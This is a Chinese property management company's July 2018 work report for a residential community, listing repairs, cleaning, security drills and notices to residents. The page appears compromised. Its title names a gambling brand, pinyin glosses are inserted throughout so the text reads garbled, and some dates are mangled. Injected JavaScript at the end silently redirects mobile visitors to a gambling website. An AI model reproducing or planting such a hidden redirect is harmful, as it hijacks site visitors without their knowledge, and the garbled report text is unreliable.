德赢登入

兴进上郡7月份工作报告

时间: 2018-07-31   浏览: 3536
47.8K

尊敬的兴进上(shang)郡(jun)小区业主(zhu)、住户:

您们好!为(wei)规范服务(wu)中心物业(ye)(ye)服务(wu)行为(wei),让您更(geng)加深(shen)入(ru)的(de)了解兴(xing)(xing)进物业(ye)(ye)日常(chang)工(gong)作内(nei)容,提高广大住户对物业(ye)(ye)服务(wu)工(gong)作的(de)认知(zhi)度,保障(zhang)您在物业(ye)(ye)服务(wu)、管理活(huo)动(dong)中的(de)知(zhi)情、监督权,并(bing)为(wei)广大兴(xing)(xing)进业(ye)(ye)主(zhu)创造和谐(xie)、健康、舒适的(de)生活(huo)环境,现(xian)将服务(wu)中7月工作总结进行公示,我们欢迎各(ge)位业主监督、指(zhi)正,提出您的宝贵意(yi)见(jian)!

☞客户服务

一、部门(men)日常管(guan)理工作完成情况

1、完成(cheng)日常电话接听(ting),业主来(lai)访接待共296起,报修54单,电话回(hui)访101起,回访满意99%

二、主要服务事项(附上(shang)图片展示)

1711日跟进(jin)小区人行道闸更换;

2712日(ri)清(qing)理34栋天面天沟(gou);

3722日举办“天才宝贝计划(hua)第(di)3季(ji)”活动。

4、调试电动车(che)充电桩(zhuang)。

5、处理(li)业(ye)主家(jia)渗水(shui)事宜。

6、空(kong)置房巡查

7、装修巡查(cha)。

8、客服、秩序(xu)、保洁(jie)、维(wei)修配合处理暴(bao)雨(yu)期间地(di)下室(shi)漏水(shui)。

9、跟(gen)进高空坠(zhui)物损坏(huai)玻璃事宜(yi)。

1.jpg

☞工程维修

7月份,部(bu)门(men)结合(he)项目下达的工(gong)作(zuo)任务和部(bu)门(men)日常(chang)工(gong)作(zuo),狠抓落(luo)实(shi),同时加强团队建(jian)设和内(nei)部管理,努力完成(cheng)各项任(ren)务,具(ju)体(ti)如以下方(fang)面:

部(bu)门日常管理工作(zuo)完(wan)成情况

日常报事处(chu)理情况:7月份(fen)前台收到维(wei)修单43份,完成43份(fen),完成(cheng)率100%2、日(ri)(ri)常维保方(fang)面:按计划(hua)完成日(ri)(ri)常公共设施设备每(mei)月维保2次。

二、主要维修(xiu)事项(附上图片(pian)展示)

1、为做好(hao)3456789栋电(dian)(dian)梯年检准备(bei)工作(zuo),拆除电(dian)(dian)梯保护板。

2、配合物业(ye)服务中心处理(li)业(ye)主(zhu)户内渗水。

3、完成(cheng)小区设备房(fang)挡鼠板制(zhi)作(zuo)。

4、更(geng)换(huan)小区发电机柴油(you)。

5、维修31单元2号(hao)房卫生间(jian)排(pai)污管道。

6、清理地下室污(wu)(wu)水(shui)坑、保(bao)养污(wu)(wu)水(shui)泵(beng)。

7、维修(xiu)小(xiao)区损坏桌椅。

2.jpg

☞保洁绿化

一、部(bu)门日常管理(li)工作完成情况

1、完(wan)成日(ri)常公用区(qu)域(yu)卫生清理工作。

2、 完成(cheng)绿化带落(luo)叶清理工作。

二(er)、主要保洁绿化事项(附上图片展示(shi))

1、园区绿植修(xiu)剪;

2、小区水池清理;

3、清理井盖下面的(de)垃(la)圾;

4、园区(qu)裸(luo)露土地补种;

5、绿化(hua)消杀;

6、配合集(ji)团(tuan)公司(si)第3季天才宝贝计划(hua)活动的开展;

3.jpg

☞秩序维护(hu)

一(yi)、部门日(ri)常管理工作完成情况(kuang)

1、完成日(ri)常执勤及巡逻工(gong)作

2、 完成队员专业知(zhi)识培训。

3、 完成各部门(men)配合工作。

二(er)、主要秩序服务事(shi)项(xiang)(附上图片(pian)展示)

1、消防演练(lian)

2、落(luo)实(shi)“拉门行(xing)动”;

3、灭火器年检事宜;

4、配(pei)合(he)处理暴(bao)雨期间地下室漏水;

5、对小区秩序岗位人员及园区进行夜(ye)查,夜(ye)查小区动(dong)态;

4.jpg

下月(yue)工作重点:

1)物业(ye)服务费的催收;

2)业主户内渗水处理(li);

3)跟进(jin)小区整改项(xiang)目进(jin)度;

4)地(di)下室(shi)车辆乱停放整改(gai);

5)对报事(shi)报修(xiu)未完(wan)成的跟进并电话或上门了解进度。

温馨提示:(本小(xiao)区近期需(xu)要(yao)业(ye)主配合事项,一起共(gong)建美(mei)好家园!)

1)请各位业主管理好自家(jia)的宠物,并做好随地大(da)小便(bian)卫(wei)生清理;

2)下月将发布通知按照《前期物(wu)业服务协议》相关条款(kuan),对地下室停车场乱停放车辆进行(xing)锁车,请(qing)车主们(men)自觉遵守(shou)车场管理(li)制(zhi)度,维护好(hao)车场秩序。

3)小区楼道/楼梯(ti)间/露台属公共区域,堆放(fang)杂物存在(zai)着严重的(de)(de)安全隐患。为营造整洁、美观、舒适的(de)(de)生活环境(jing),维护广大(da)住(zhu)户的(de)(de)良好素质(zhi)形象(xiang),确保小区内(nei)各楼宇消防设备(bei)设施的(de)(de)正常使(shi)用(yong),请大(da)家(jia)积极主动配合,将楼道(dao)/楼梯(ti)间/露台内的(de)个(ge)人物(wu)品及时清理(li)。

4)小区现实行电动车不固(gu)定位置(zhi)停放充电管(guan)理服务(wu),希得(de)到业主的支持与配(pei)合

5)因(yin)近期高空坠物现(xian)象增多,请业主提(ti)醒(xing)(xing)家中孩子勿将杂物抛至(zhi)楼下(xia);装(zhuang)修(xiu)期间请提(ti)醒(xing)(xing)装(zhuang)修(xiu)工(gong)人做好现(xian)场(chang)施工(gong)保护。和谐安全(quan)社(she)区,你我携(xie)手共(gong)建。

【联系我们】

如(ru)果您对我(wo)们(men)的(de)服务有任何(he)建(jian)议及诉(su)求请(qing)及时告诉(su)我(wo)们(men),我(wo)们(men)会尽(jin)快为您解答和回复!

【联系(xi)方式】

124小时(shi)服(fu)务热线:07735830228

2、品质监(jian)督电(dian)话(hua):07737796027

贴心每一天,只为您满意!



广西兴进实业集团有限责任公司 , 联系电话:400-8622017 , 销售热线: 0773-3677777 , 联系我们 | 免责声明 | 隐私权政策 设计制作:易东传媒
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();